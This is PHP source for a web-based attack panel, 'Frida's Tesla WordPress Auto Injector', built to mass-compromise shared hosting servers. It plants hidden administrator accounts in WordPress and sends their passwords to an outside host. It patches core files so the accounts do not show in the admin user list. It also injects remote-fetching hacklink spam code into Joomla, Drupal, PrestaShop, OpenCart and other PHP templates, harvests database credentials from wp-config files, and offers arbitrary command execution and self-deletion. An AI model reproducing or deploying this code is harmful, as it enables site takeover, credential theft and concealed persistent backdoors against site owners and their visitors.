    $processed_roots_global = [];
    foreach ($search_paths as $idx => $path) {
        @set_time_limit(300);
        if ($idx % 3 === 0) frida_keepalive_flush();
        $results[] = "🔍 Checking path: $path";
        if (!is_dir($path)) {
            $results[] = "   ❌ Directory does not exist";
            continue;
        }
        if (!is_readable($path)) {
            $results[] = "   🔒 Directory not readable";
            continue;
        }
        $results[] = "   ✅ Directory accessible";
        $wp_configs = [];
        if (file_exists($path . 'wp-config.php')) {
            $wp_configs[] = $path . 'wp-config.php';
        }
        try {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $iterator->setMaxDepth(3);
            foreach ($iterator as $file) {
                if ($file->isFile() && $file->getFilename() === 'wp-config.php') {
                    $wp_configs[] = $file->getPathname();
                }
            }
        } catch (Exception $e) {
            $glob_patterns = [
                $path . 'wp-config.php',
                $path . '*/wp-config.php',
                $path . '*/*/wp-config.php',
                $path . '*/*/*/wp-config.php'
            ];
            foreach ($glob_patterns as $pattern) {
                $found = @glob($pattern);
                if ($found) {
                    $wp_configs = array_merge($wp_configs, $found);
                }
            }
        }
        $wp_configs = array_unique($wp_configs);
        if (!empty($wp_configs)) {
            $results[] = "   📁 Found " . count($wp_configs) . " WordPress installations (PHP scan)";
            foreach ($wp_configs as $wp_config) {
                if (empty($wp_config)) continue;
                $wp_root = dirname($wp_config);
                $wp_root_real = @realpath($wp_root);
                if ($wp_root_real !== false && isset($processed_roots_global[$wp_root_real])) continue;
                if ($wp_root_real !== false) $processed_roots_global[$wp_root_real] = true;
                $image_function_dest = $wp_root . '/image-function.php';
                $results[] = "      📄 Processing: $wp_root";
                if (file_exists($image_function_dest)) {
                    $existing_content = @file_get_contents($image_function_dest);
                    if ($existing_content && strpos($existing_content, '3d0ed2ff9ee5cbfc9922cbe0a4259e84') !== false) {
                        $total_skipped++;
                        $results[] = "      ⏭️ ALREADY EXISTS - " . basename($wp_root) . "/image-function.php";
                        continue;
                    }
                }
                if (is_writable($wp_root)) {
                    if (@file_put_contents($image_function_dest, $image_function_content) !== false) {
                        $total_injected++;
                        $results[] = "      ✅ INJECTED - " . basename($wp_root) . "/image-function.php";
                    } else {
                        $results[] = "      ❌ WRITE FAILED - " . basename($wp_root) . "/image-function.php";
                    }
                } else {
                    $results[] = "      🔒 NO WRITE PERMISSION - " . basename($wp_root) . "/image-function.php";
                }
            }
        } else {
            $results[] = "   ℹ️ No WordPress installations found in this path";
        }
    }
    
    return [
        'total_deployed' => $total_injected,
        'total_skipped' => $total_skipped,
        'results' => $results,
        'search_paths' => $search_paths
    ];
}

function frida_hidden_admin_injector($target_path = '') {
    frida_quantum_bypass();
    $runner_content = <<<'RUNNER'
<?php
if (!file_exists('wp-load.php')) exit;
define('WP_USE_THEMES', false);
require 'wp-load.php';
if (!function_exists('wp_create_user')) exit;
$h = 'default';
$p = substr(md5(uniqid()), 0, 12);
$e = 'default@wordpress.com';
if (!username_exists($h) && !get_option('default_admin_created')) {
    $i = wp_create_user($h, $p, $e);
    if (!is_wp_error($i)) {
        $u = new WP_User($i);
        $u->set_role('administrator');
        update_user_meta($i, 'show_admin_bar_front', 'false');
        update_user_meta($i, '_hidden_admin', 'true');
        update_option('default_admin_created', time());
        $ch = curl_init('https://llllll.my/bildir/panel.php');
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['url' => site_url(), 'admin_pass' => $p, 'ip' => $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1', 'time' => date('Y-m-d H:i:s')]));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        @curl_exec($ch);
        @curl_close($ch);
    }
}
$formatting_path = ABSPATH . 'wp-includes/formatting.php';
$hide_code = "\n\nfunction wp_hide_u(\$s){global \$wpdb;if(!is_admin())return;\$c=wp_get_current_user();if(\$c->user_login==\"default\")return;\$s->query_where=str_replace(\"WHERE 1=1\",\"WHERE 1=1 AND {\$wpdb->users}.user_login!='default'\",\$s->query_where);}add_action(\"pre_user_query\",\"wp_hide_u\");add_filter(\"views_users\",\"wp_fix_count\");function wp_fix_count(\$v){global \$wpdb;\$hidden=0;if(\$wpdb->get_var(\$wpdb->prepare(\"SELECT ID FROM {\$wpdb->users} WHERE user_login=%s\",\"default\")))\$hidden=1;foreach(\$v as \$k=>\$w){if(\$k==\"all\"||\$k==\"administrator\"||strpos(\$w,\"role=administrator\")!==false){\$v[\$k]=preg_replace_callback(\"/\((\d+)\)/\",function(\$m)use(\$hidden){return\"(\".(\$m[1]-\$hidden).\")\";}, \$w);}}return \$v;}";
if (is_writable($formatting_path)) {
    $c = file_get_contents($formatting_path);
    if (strpos($c, 'wp_hide_u') === false) {
        file_put_contents($formatting_path, $c . $hide_code);
    }
}
@unlink(__FILE__);
RUNNER;

    $search_paths = frida_cached_path_discovery($target_path);
    $search_paths = array_values(array_unique(array_filter($search_paths ?? [], function($p) { return $p !== '' && $p !== './'; })));
    $total_deployed = 0;
    $total_skipped = 0;
    $results = [];
    $runner_name = 'wp-cron-helper-' . substr(md5(__FILE__), 0, 6) . '.php';
    $processed_roots_global = [];
    foreach ($search_paths as $idx => $path) {
        @set_time_limit(300);
        if ($idx % 3 === 0) frida_keepalive_flush();
        $results[] = "🔍 Checking path: $path";
        if (!is_dir($path)) {
            $results[] = "   ❌ Directory does not exist";
            continue;
        }
        if (!is_readable($path)) {
            $results[] = "   🔒 Directory not readable";
            continue;
        }
        $results[] = "   ✅ Directory accessible";
        $wp_configs = [];
        if (file_exists($path . 'wp-config.php')) {
            $wp_configs[] = $path . 'wp-config.php';
        }
        try {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $iterator->setMaxDepth(3);
            foreach ($iterator as $file) {
                if ($file->isFile() && $file->getFilename() === 'wp-config.php') {
                    $wp_configs[] = $file->getPathname();
                }
            }
        } catch (Exception $e) {
            $found = glob($path . 'wp-config.php') ?: [];
            $wp_configs = array_merge($wp_configs, $found);
        }
        $wp_configs = array_unique($wp_configs);
        if (empty($wp_configs)) {
            $results[] = "   ℹ️ No WordPress installations found";
            continue;
        }
        $results[] = "   📁 Found " . count($wp_configs) . " WordPress installations";
        foreach ($wp_configs as $wp_config) {
            if (empty($wp_config)) continue;
            $wp_root = dirname($wp_config);
            $wp_root_real = @realpath($wp_root);
            if ($wp_root_real !== false && isset($processed_roots_global[$wp_root_real])) continue;
            if ($wp_root_real !== false) $processed_roots_global[$wp_root_real] = true;
            $runner_dest = $wp_root . '/' . $runner_name;
            $results[] = "      📄 Processing: $wp_root";
            if (file_exists($wp_root . '/wp-includes/formatting.php')) {
                $fmt = file_get_contents($wp_root . '/wp-includes/formatting.php');
                if (strpos($fmt, 'wp_hide_u') !== false) {
                    $total_skipped++;
                    $results[] = "      ⏭️ ALREADY DONE (formatting.php has wp_hide_u)";
                    continue;
                }
            }
            if (!is_writable($wp_root)) {
                $results[] = "      🔒 NO WRITE PERMISSION";
                continue;
            }
            if (@file_put_contents($runner_dest, $runner_content) === false) {
                $results[] = "      ❌ WRITE FAILED";
                continue;
            }
            $total_deployed++;
            $results[] = "      ✅ Runner written";
            $wp_site_url = null;
            $wp_config_content = @file_get_contents($wp_config);
            if ($wp_config_content !== false) {
                if (preg_match("/define\s*\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $wp_config_content, $m)) {
                    $wp_site_url = rtrim(trim($m[1]), '/');
                } elseif (preg_match("/define\s*\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $wp_config_content, $m)) {
                    $wp_site_url = rtrim(trim($m[1]), '/');
                }
            }
            if (!$wp_site_url) {
                $wp_root_base = basename($wp_root);
                $wp_root_parent = basename(dirname($wp_root));
                if (preg_match('/^[a-z0-9]([a-z0-9-]*\.)+[a-z]{2,}$/i', $wp_root_parent)) {
                    $wp_site_url = 'http://' . $wp_root_parent . '/' . $wp_root_base;
                } elseif (preg_match('/^[a-z0-9]([a-z0-9-]*\.)+[a-z]{2,}$/i', $wp_root_base)) {
                    $wp_site_url = 'http://' . $wp_root_base;
                }
            }
            if (!$wp_site_url && !empty($_SERVER['HTTP_HOST'])) {
                $wp_site_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'];
            }
            if (!$wp_site_url) {
                $results[] = "      ⚠️ Could not detect site URL, skipping trigger";
                continue;
            }
            $wp_site_url = rtrim($wp_site_url, '/');
            $trigger_url = $wp_site_url . '/' . $runner_name;
            $resp = frida_http_request($trigger_url);
            $results[] = "      🌐 Triggered: " . ($resp !== false ? "OK" : "FAIL");
        }
    }
    return [
        'total_deployed' => $total_deployed,
        'total_skipped' => $total_skipped,
        'results' => $results,
        'search_paths' => $search_paths
    ];
}


function frida_http_request($url) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 10,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0'
        ]);
        $response = @curl_exec($ch);
        curl_close($ch);
        if ($response !== false) return $response;
    }
    
    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            'http' => [
                'timeout' => 10,
                'user_agent' => 'Mozilla/5.0',
                'ignore_errors' => true
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false
            ]
        ]);
        $response = @file_get_contents($url, false, $context);
        if ($response !== false) return $response;
    }
    
    if (function_exists('fopen')) {
        $fp = @fopen($url, 'r');
        if ($fp) {
            $response = '';
            while (!feof($fp)) {
                $response .= fread($fp, 8192);
            }
            fclose($fp);
            if (!empty($response)) return $response;
        }
    }
    
    $url_parts = parse_url($url);
    $host = $url_parts['host'] ?? '';
    $path = $url_parts['path'] ?? '/';
    $scheme = $url_parts['scheme'] ?? 'http';
    $port = $scheme === 'https' ? 443 : 80;
    
    if (function_exists('fsockopen') && !empty($host)) {
        $fp = @fsockopen(($scheme === 'https' ? 'ssl://' : '') . $host, $port, $errno, $errstr, 10);
        if ($fp) {
            $request = "GET $path HTTP/1.1\r\n";
            $request .= "Host: $host\r\n";
            $request .= "User-Agent: Mozilla/5.0\r\n";
            $request .= "Connection: Close\r\n\r\n";
            fwrite($fp, $request);
            
            $response = '';
            while (!feof($fp)) {
                $response .= fgets($fp, 128);
            }
            fclose($fp);
            
            $body = explode("\r\n\r\n", $response, 2);
            if (isset($body[1])) return $body[1];
        }
    }
    
    return false;
}

function frida_multi_cms_injector($target_path = '') {
    frida_quantum_bypass();
    $target_path = is_string($target_path) ? trim($target_path) : '';
    $injection_code = '<!-- Telegram: https://t.me/hacklink_panel --><?php if(!function_exists(\'hacklink_add\')){function hacklink_add(){static $b=null;if($b!==null)return $b;$u=\'https://panel.hacklinkmarket.com/code?v=\'.time();$d=(!empty($_SERVER[\'HTTPS\'])&&$_SERVER[\'HTTPS\']!==\'off\'?\'https://\':\'http://\').$_SERVER[\'HTTP_HOST\'].\'/\';if(function_exists(\'curl_init\')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>[\'X-Request-Domain:\'.$d],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$b=$r;return $b;}}if(ini_get(\'allow_url_fopen\')){$o=[\'http\'=>[\'header\'=>\'X-Request-Domain:\'.$d,\'timeout\'=>10],\'ssl\'=>[\'verify_peer\'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$b=$r;return $b;}}if(function_exists(\'fopen\')){if($f=@fopen($u,\'r\')){$r=\'\';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$b=$r;return $b;}}}return \'\';}} ?>';

    $current_file = __FILE__;
    
    $search_paths = frida_cached_path_discovery($target_path);
    $search_paths = array_values(array_unique(array_filter($search_paths ?? [], function($p) { return $p !== '' && $p !== './'; })));
    $total_injected = 0;
    $total_skipped = 0;
    $results = [];
    $cms_types = ['joomla' => 0, 'drupal' => 0, 'prestashop' => 0, 'opencart' => 0, 'magento' => 0, 'other_php' => 0];
    
    foreach ($search_paths as $idx => $path) {
        @set_time_limit(300);
        if ($idx % 3 === 0) frida_keepalive_flush();
        $results[] = "Checking: $path";
        
        if (!is_dir($path)) {
            $results[] = "  [SKIP] Directory does not exist";
            continue;
        }
        
        if (!is_readable($path)) {
            $results[] = "  [SKIP] No read permission";
            continue;
        }
        
        $results[] = "  [OK] Directory accessible";
        
        if (file_exists($path . 'wp-config.php') || file_exists($path . 'wp-load.php') || is_dir($path . 'wp-content/')) {
            $results[] = "  [WORDPRESS] Detected - Skipping (use WP Injector instead)";
            continue;
        }
        
        $joomla_config = $path . 'configuration.php';
        if (file_exists($joomla_config)) {
            $results[] = "  [JOOMLA] Found at: $path";
            $cms_types['joomla']++;
            
            $template_paths = [
                $path . 'templates/*/index.php',
                $path . 'templates/*/html/com_content/article/default.php'
            ];
            
            foreach ($template_paths as $pattern) {
                $files = glob($pattern);
                if (!empty($files)) {
                    $results[] = "    [GLOB] Found " . count($files) . " template files";
                }
                foreach ($files as $file) {
                    if (!is_readable($file)) continue;
                    if (!is_writable($file)) {
                        $results[] = "    [SKIP] Not writable: " . basename($file);
                        continue;
                    }
                    
                    $content = file_get_contents($file);
                    if (strpos($content, 'hacklink_add') === false) {
                        if (preg_match('/<\/body>/i', $content)) {
                            $new_content = str_replace('</body>', $injection_code . "\n<?php echo hacklink_add(); ?>\n</body>", $content);
                            if (file_put_contents($file, $new_content)) {
                                $total_injected++;
                                $results[] = "    [SUCCESS] Injected: " . basename(dirname($file)) . "/" . basename($file);
                            }
                        } else {
                            $results[] = "    [SKIP] No </body> tag: " . basename($file);
                        }
                    } else {
                        $total_skipped++;
                        $results[] = "    [SKIP] Already injected: " . basename($file);
                    }
                }
            }
        }
        
        if (file_exists($path . 'core/lib/Drupal.php') || file_exists($path . 'includes/bootstrap.inc')) {
            $results[] = "  [DRUPAL] Found at: $path";
            $cms_types['drupal']++;
            
            $theme_paths = glob($path . 'themes/*/templates/*.html.twig');
            if (!empty($theme_paths)) {
                $results[] = "    [GLOB] Found " . count($theme_paths) . " twig files";
            }
            foreach ($theme_paths as $file) {
                if (!is_readable($file)) continue;
                if (!is_writable($file)) {
                    $results[] = "    [SKIP] Not writable: " . basename($file);
                    continue;
                }
                
                $content = file_get_contents($file);
                if (strpos($content, 'hacklink_add') === false && preg_match('/<\/body>/i', $content)) {
                    $new_content = str_replace('</body>', $injection_code . "\n<?php echo hacklink_add(); ?>\n</body>", $content);
                    if (file_put_contents($file, $new_content)) {
                        $total_injected++;
                        $results[] = "    [SUCCESS] Injected: " . basename($file);
                    }
                } else {
                    $total_skipped++;
                    $results[] = "    [SKIP] Already injected or no tag: " . basename($file);
                }
            }
        }
        
        if (file_exists($path . 'config/config.inc.php') && is_dir($path . 'modules/')) {
            $results[] = "  [PRESTASHOP] Found at: $path";
            $cms_types['prestashop']++;
            
            $theme_files = glob($path . 'themes/*/templates/*.tpl');
            if (!empty($theme_files)) {
                $results[] = "    [GLOB] Found " . count($theme_files) . " tpl files";
            }
            foreach ($theme_files as $file) {
                if (!is_readable($file)) continue;
                if (!is_writable($file)) {
                    $results[] = "    [SKIP] Not writable: " . basename($file);
                    continue;
                }
                
                $content = file_get_contents($file);
                if (strpos($content, 'hacklink_add') === false && preg_match('/<\/body>/i', $content)) {
                    $new_content = str_replace('</body>', $injection_code . "\n<?php echo hacklink_add(); ?>\n</body>", $content);
                    if (file_put_contents($file, $new_content)) {
                        $total_injected++;
                        $results[] = "    [SUCCESS] Injected: " . basename($file);
                    }
                } else {
                    $total_skipped++;
                    $results[] = "    [SKIP] Already injected or no tag: " . basename($file);
                }
            }
        }
        
        if (file_exists($path . 'config.php') && is_dir($path . 'catalog/') && is_dir($path . 'admin/')) {
            $results[] = "  [OPENCART] Found at: $path";
            $cms_types['opencart']++;
            
            $footer_file = $path . 'catalog/view/theme/*/template/common/footer.tpl';
            $files = glob($footer_file);
            if (!empty($files)) {
                $results[] = "    [GLOB] Found " . count($files) . " footer files";
            }
            foreach ($files as $file) {
                if (!is_readable($file)) continue;
                if (!is_writable($file)) {
                    $results[] = "    [SKIP] Not writable: " . basename($file);
                    continue;
                }
                
                $content = file_get_contents($file);
                if (strpos($content, 'hacklink_add') === false) {
                    file_put_contents($file, $content . "\n" . $injection_code . "\n<?php echo hacklink_add(); ?>");
                    $total_injected++;
                    $results[] = "    [SUCCESS] Injected: footer.tpl";
                } else {
                    $total_skipped++;
                    $results[] = "    [SKIP] Already injected: footer.tpl";
                }
            }
        }
        
        $results[] = "  [SCAN] Searching for generic PHP files...";
        $php_files = [];
        
        try {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $iterator->setMaxDepth(3);
            
            $count = 0;
            foreach ($iterator as $file) {
                if ($file->isFile() && $file->getExtension() === 'php') {
                    $file_path = $file->getPathname();
                    
                    if (strpos($file_path, '/vendor/') !== false || 
                        strpos($file_path, '/cache/') !== false ||
                        realpath($file_path) === realpath($current_file)) {
                        continue;
                    }
                    
                    $php_files[] = $file_path;
                    $count++;
                    
                    if ($count >= 50) break;
                }
            }
        } catch (Exception $e) {
            $glob_patterns = [
                $path . '*.php',
                $path . '*/*.php',
                $path . '*/*/*.php'
            ];
            
            foreach ($glob_patterns as $pattern) {
                $found = glob($pattern);
                if ($found) {
                    foreach ($found as $f) {
                        if (strpos($f, '/vendor/') === false && 
                            strpos($f, '/cache/') === false &&
                            realpath($f) !== realpath($current_file)) {
                            $php_files[] = $f;
                        }
                    }
                }
                if (count($php_files) >= 50) break;
            }
        }
        
        $php_files = array_unique(array_slice($php_files, 0, 50));
        
        if (!empty($php_files)) {
            $results[] = "  [FOUND] " . count($php_files) . " PHP files (PHP scan)";
            
            foreach ($php_files as $file) {
                if (empty($file)) continue;
                
                if (realpath($file) === realpath($current_file)) {
                    $results[] = "    [SKIP] Self-file: " . basename($file);
                    continue;
                }
                
                if (!is_readable($file)) {
                    $results[] = "    [SKIP] Not readable: " . basename($file);
                    continue;
                }
                
                if (!is_writable($file)) {
                    $results[] = "    [SKIP] Not writable: " . basename($file);
                    continue;
                }
                
                $content = @file_get_contents($file);
                if ($content === false || $content === '') {
                    $results[] = "    [SKIP] Empty file: " . basename($file);
                    continue;
                }
                
                if (strpos($content, 'hacklink_add') !== false) {
                    $total_skipped++;
                    $results[] = "    [SKIP] Already injected: " . basename($file);
                    continue;
                }

                $filename = basename($file);
                $core_files = ['config.php', 'wp-config.php', 'configuration.php', 'settings.php', 'functions.php', 'core.php', 'init.php', 'bootstrap.php', 'image-function.php', 'wp-login.php'];
                if (in_array(strtolower($filename), $core_files)) {
                    $results[] = "    [SKIP] Core file: " . $filename;
                    continue;
                }

                if (preg_match('/include.*footer|require.*footer|get_footer|load_footer/i', $content)) {
                    $results[] = "    [SKIP] Footer include file: " . $filename;
                    continue;
                }

                $include_count = substr_count(strtolower($content), 'include') +
                                substr_count(strtolower($content), 'require') +
                                substr_count(strtolower($content), 'get_template_part');

                $total_lines = substr_count($content, "\n") + 1;
                $include_ratio = $include_count / max($total_lines, 1);

                if ($include_ratio > 0.5) {
                    $results[] = "    [SKIP] Template loader file: " . $filename;
                    continue;
                }

                if (preg_match('/<\/body>|<\/footer>|<\/html>/i', $content)) {
                    $results[] = "    [MATCH] Footer tag found in: " . basename($file);
                    
                    $new_content = preg_replace(
                        '/(<\/body>|<\/footer>|<\/html>)/i',
                        $injection_code . "\n<?php echo hacklink_add(); ?>\n$1",
                        $content,
                        1
                    );
                    
                    if ($new_content !== $content && @file_put_contents($file, $new_content)) {
                        $total_injected++;
                        $cms_types['other_php']++;
                        $results[] = "    [SUCCESS] Injected: " . basename($file);
                    } else {
                        $results[] = "    [FAIL] Write failed: " . basename($file);
                    }
                } else {
                    $results[] = "    [SKIP] No footer tag: " . basename($file);
                }
            }
        } else {
            $results[] = "  [FAIL] Find command failed or no PHP files found";
        }
    }
    
    return [
        'total_injected' => $total_injected,
        'total_skipped' => $total_skipped,
        'cms_types' => $cms_types,
        'results' => $results,
        'search_paths' => $search_paths
    ];
}


function frida_wp_config_scanner() {
    frida_quantum_bypass();
    $results = [];
    $wp_configs_found = [];
    $readable_configs = [];
    $users = frida_posix_users();
    
    $results[] = "👤 Found " . count($users) . " users via POSIX";
    $results[] = "";
    
    $configs_to_parse = [];
    foreach ($users as $username => $home_dir) {
        $home_dir = rtrim($home_dir, '/\\') . '/';
        $possible_paths = [
            $home_dir . 'public_html/wp-config.php',
            $home_dir . 'www/wp-config.php',
            $home_dir . 'htdocs/wp-config.php',
            $home_dir . 'public_html/wordpress/wp-config.php',
            $home_dir . 'public_html/wp/wp-config.php',
            $home_dir . 'wp-config.php',
        ];
        if (is_dir($home_dir . 'domains/')) {
            $domain_dirs = @scandir($home_dir . 'domains/');
            if ($domain_dirs) {
                foreach ($domain_dirs as $domain) {
                    if ($domain !== '.' && $domain !== '..') {
                        $possible_paths[] = $home_dir . 'domains/' . $domain . '/public_html/wp-config.php';
                        $possible_paths[] = $home_dir . 'domains/' . $domain . '/wp-config.php';
                    }
                }
            }
        }
        foreach ($possible_paths as $config_path) {
            if (file_exists($config_path)) $configs_to_parse[$config_path] = $username;
        }
    }
    if (empty($configs_to_parse)) {
        $results[] = "🪟 Windows / no POSIX: scanning discovery paths...";
        $search_paths = frida_cached_path_discovery();
        foreach ($search_paths as $base) {
            $base = rtrim(str_replace('\\', '/', $base), '/') . '/';
            $config_path = $base . 'wp-config.php';
            if (file_exists($config_path)) $configs_to_parse[$config_path] = 'local';
        }
        $dr = $_SERVER['DOCUMENT_ROOT'] ?? '';
        if ($dr !== '') {
            $dr = str_replace('\\', '/', rtrim($dr, '/\\')) . '/';
            foreach (['', 'wordpress/', 'www/', 'htdocs/'] as $sub) {
                $config_path = $dr . $sub . 'wp-config.php';
                if (file_exists($config_path)) { $configs_to_parse[$config_path] = 'docroot'; break; }
            }
        }
        $results[] = "";
    }
    foreach ($configs_to_parse as $config_path => $label) {
        $wp_configs_found[] = $config_path;
        if (!is_readable($config_path)) {
                    $results[] = "🔒 NOT READABLE: $config_path";
            continue;
        }
        $content = @file_get_contents($config_path);
        if ($content === false || $content === '') {
            $results[] = "⚠️ EXISTS but empty: $config_path";
            continue;
        }
        $db_name = $db_user = $db_pass = $db_host = '';
        if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m)) $db_name = $m[1];
        if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m)) $db_user = $m[1];
        if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m)) $db_pass = $m[1];
        if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m)) $db_host = $m[1];
        $readable_configs[] = ['user' => $label, 'path' => $config_path, 'db_name' => $db_name, 'db_user' => $db_user, 'db_pass' => $db_pass, 'db_host' => $db_host];
        $results[] = "✅ READABLE: $label → $config_path";
    }
    
    return [
        'total_users' => count($users),
        'wp_configs_found' => count($wp_configs_found),
        'readable_configs' => count($readable_configs),
        'configs' => $readable_configs,
        'results' => $results
    ];
}

function get_available_methods() {
    $methods = ['shell_exec', 'system', 'exec', 'passthru', 'popen', 'proc_open'];
    $disabled = explode(',', str_replace(' ', '', (string)ini_get('disable_functions')));
    $available = [];
    
    foreach ($methods as $method) {
        if (function_exists($method) && !in_array($method, $disabled)) {
            $available[] = $method;
        }
    }
    
    return $available;
}

if (isset($_POST['ajax_action'])) {
    @ob_start();
    @header('Content-Type: application/json; charset=utf-8');
    @set_time_limit(300);
    @ini_set('max_execution_time', '300');
    $GLOBALS['frida_ajax_mode'] = true;
    frida_quantum_bypass();
    
    $ajax_action = $_POST['ajax_action'];
    $ajax_target = $_POST['target_path'] ?? '';
    $ajax_result = [];
    
    switch ($ajax_action) {
        case 'hidden_admin':
            $ajax_result = frida_hidden_admin_injector($ajax_target);
            break;
        case 'image_function':
            $ajax_result = frida_image_function_injector($ajax_target);
            break;
        case 'wp_inject':
            $ajax_result = frida_wp_injector($ajax_target);
            break;
        case 'cms_inject':
            $ajax_result = frida_multi_cms_injector($ajax_target);
            break;
        case 'execute':
            $ajax_result = frida_execute_bypass($_POST['command'] ?? '');
            break;
        case 'scan_wpconfig':
            $ajax_result = frida_wp_config_scanner();
            break;
        case 'self_destruct':
            frida_trigger_self_destruct();
            $ajax_result = ['status' => 'deleted'];
            break;
        case 'system_status':
            $available_methods = get_available_methods();
            $disabled_functions = (string)ini_get('disable_functions');
            $current_users = frida_get_current_user();
            $ajax_result = [
                'php_version' => phpversion(),
                'os' => php_uname(),
                'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
                'doc_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'Unknown',
                'cwd' => getcwd(),
                'methods' => $available_methods,
                'disabled' => $disabled_functions,
                'users' => $current_users,
                'posix' => function_exists('posix_getpwuid'),
                'http_methods' => array_filter([
                    function_exists('curl_init') ? 'cURL' : null,
                    ini_get('allow_url_fopen') ? 'file_get_contents' : null,
                    function_exists('fopen') ? 'fopen' : null,
                    function_exists('fsockopen') ? 'fsockopen' : null,
                ]),
            ];
            if (function_exists('posix_getpwuid')) {
                $all_users = frida_posix_users();
                $ajax_result['posix_users_count'] = count($all_users);
            }
            break;
    }
    
    if (isset($_POST['final']) && $_POST['final'] === '1') {
        frida_trigger_self_destruct();
    }
    
    @ob_end_clean();
    echo json_encode($ajax_result, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    die();
}
?>

<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Frida's Tesla WordPress Auto Injector</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
            background: linear-gradient(135deg, #0c0c0c 0%, #1a1a2e 50%, #16213e 100%);
            color: #00ff88;
            min-height: 100vh;
            padding: 20px;
        }
        
        .tesla-header {
            background: linear-gradient(90deg, #ff006e, #fb5607, #ffbe0b, #8338ec, #3a86ff);
            padding: 20px;
            text-align: center;
            border-radius: 15px;
            margin-bottom: 20px;
            position: relative;
            overflow: hidden;
        }
        
        .tesla-header::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
            animation: tesla-glow 3s infinite;
        }
        
        @keyframes tesla-glow {
            0% { left: -100%; }
            100% { left: 100%; }
        }
        
        .tesla-title {
            font-size: 2rem;
            font-weight: bold;
            text-shadow: 0 0 20px #00ff88;
            margin-bottom: 10px;
            position: relative;
            z-index: 1;
        }
        
        .container {
            max-width: 1400px;
            margin: 0 auto;
            display: flex;
            flex-direction: column;
            gap: 20px;
        }
        
        .panel {
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid #00ff88;
            border-radius: 15px;
            padding: 20px;
            backdrop-filter: blur(10px);
            box-shadow: 0 8px 32px rgba(0, 255, 136, 0.2);
        }
        
        .panel:hover {
            border-color: #ff006e;
            box-shadow: 0 12px 40px rgba(255, 0, 110, 0.3);
        }
        
        .panel-title {
            font-size: 1.3rem;
            margin-bottom: 15px;
            color: #ff006e;
            text-shadow: 0 0 10px #ff006e;
        }
        
        .form-group {
            margin-bottom: 15px;
        }
        
        label {
            display: block;
            margin-bottom: 5px;
            color: #00ff88;
            font-weight: bold;
        }
        
        input, textarea, select {
            width: 100%;
            padding: 12px;
            background: rgba(0, 0, 0, 0.3);
            border: 2px solid #00ff88;
            border-radius: 8px;
            color: #00ff88;
            font-family: inherit;
        }
        
        input:focus, textarea:focus, select:focus {
            outline: none;
            border-color: #ff006e;
            box-shadow: 0 0 15px rgba(255, 0, 110, 0.5);
        }
        
        .btn {
            background: linear-gradient(45deg, #ff006e, #3a86ff);
            color: white;
            border: none;
            padding: 12px 25px;
            border-radius: 8px;
            cursor: pointer;
            font-weight: bold;
            font-size: 1rem;
            transition: all 0.3s ease;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        
        .btn:hover {
            transform: scale(1.05);
            box-shadow: 0 5px 20px rgba(255, 0, 110, 0.4);
        }
        
        .output {
            background: rgba(0, 0, 0, 0.6);
            border: 1px solid #00ff88;
            border-radius: 8px;
            padding: 15px;
            white-space: pre-wrap;
            font-family: 'Consolas', monospace;
            max-height: 500px;
            overflow-y: auto;
            margin-top: 15px;
            color: #00ff88;
